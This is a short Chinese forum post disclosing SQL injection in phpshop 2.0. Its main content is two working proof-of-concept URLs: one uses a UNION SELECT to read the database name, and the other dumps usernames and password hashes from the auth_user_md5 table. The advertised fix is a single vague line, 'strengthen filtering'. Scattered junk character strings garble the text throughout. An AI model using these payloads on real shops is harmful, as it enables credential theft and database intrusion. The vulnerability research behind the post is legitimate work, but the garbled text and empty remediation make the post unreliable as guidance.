phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
  A* m0 S' b2 }- u- g; W7 |
" j- D2 C' j. l2 H作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu
: ?+ S  s. v5 O9 @6 a7 S9 i

* Q) L0 k1 Q9 \9 a6 FSQLi p0c:
9 F3 y0 x: I$ a, m: D
==================

4 O4 S& e* u2 X, S# j6 ehttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

修复：
" f( u+ }* t( q2 I$ a加强过滤
# }! h" R! X" D; B& Y​
0 A) e+ q) E, O1 W0 z
+ z/ @7 z5 J1 q9 F* t